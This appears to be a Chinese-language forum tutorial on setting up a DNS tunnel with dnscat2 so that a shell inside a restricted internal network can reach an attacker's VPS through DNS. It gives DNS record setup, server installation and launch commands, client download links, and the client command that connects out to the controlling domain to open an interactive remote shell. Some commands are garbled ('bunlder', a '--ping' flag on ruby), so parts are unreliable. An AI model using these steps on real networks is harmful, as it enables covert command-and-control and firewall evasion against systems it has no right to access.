介绍及场景

在内网环境中,通常出于安全考虑,网络防火墙会对主机的网络协议进行限制,只会放行主机服务需要的协议,当处于内网中的shell需要与外部进行流量交互的时候,就需要通过放行的协议建立网络隧道,此时DNS协议往往是一个常用的选择。

搭建过程

  • vps部署域名解析
    首先对vps建立A记录
    创建NS记录,获取子域名的解析地址为A记录的域名

对NS记录mail子域进行解析指向ns1*.club的A记录
测试部署:
测试外部对mail子域的dns请求,然后查看vps是否处理该请求
客户端发送dns请求数据包:

vps对请求数据的处理

tcpdump -n -i eth0 udp dst port 53

  • 安装dnscat2服务端(此处注意踩坑)
    server端:
    需要ruby环境
    安装gem、ruby、dnscat2服务端
yum install gem
rm /usr/bin/ruby
wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz
tar -zxvf ruby-2.5.0.tar.gz
cd ruby-2.5.0
mkdir -p /usr/local/ruby
./configure --prefix=/usr/local/ruby
make  && make install
ln -s /usr/local/ruby/bin/ruby /usr/bin/ruby


git clone https://github.com/iagox86/dnscat2.git
cd /server
gem install bunlder
ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder
bunlder install

启动服务端:

ruby dnscat2.rb mail.****.club -e open -c password --no-cache

客户端下载地址
https://downloads.skullsecurity.org/dnscat2/
powershell客户端
https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master

测试通信

./ruby --ping mail.target.com

连接服务端

./dnscat --secret=password mail.target.com

以下显示连接成功

server端
sessions显示已经有客户端会话

session -i session_id

进入会话,执行shell交互命令行

通过监听53端口的流量包发现大量的dns请求数据

tcpdump -n -i eth0 udp dst port 53

到此为止dns隧道建立的shell就完成。

点击收藏 | 1 关注 | 2
登录 后跟帖